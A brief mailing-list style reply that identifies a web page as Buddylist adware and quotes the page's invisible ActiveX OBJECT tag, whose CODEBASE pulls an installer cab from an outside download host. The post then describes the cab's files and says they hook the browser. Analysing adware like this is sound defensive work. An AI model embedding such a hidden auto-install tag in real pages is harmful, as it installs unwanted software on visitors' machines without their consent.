Hi,

It?s a Buddylist Adware. The page uses codebase object to run the
ActiveX component:

<OBJECT ID="ShellInstaller" WIDTH=0 HEIGHT=0
CLASSID="CLSID:FDDCE9FF-1FC6-413c-80B1-37B101FDA1D4"
CODEBASE="http://download.buddylinks.net/ShellInstaller.cab#Version=1,0,
0,001">

The cab file contains the files Shellinstaller.ini (2.119 bytes) and the
binary ShellInstaller.ocx (81.920 bytes). The activex component hooks
itself to IE and works as a typical adware component. No virus code
here.

McAfee has posted a writeup at this URL:
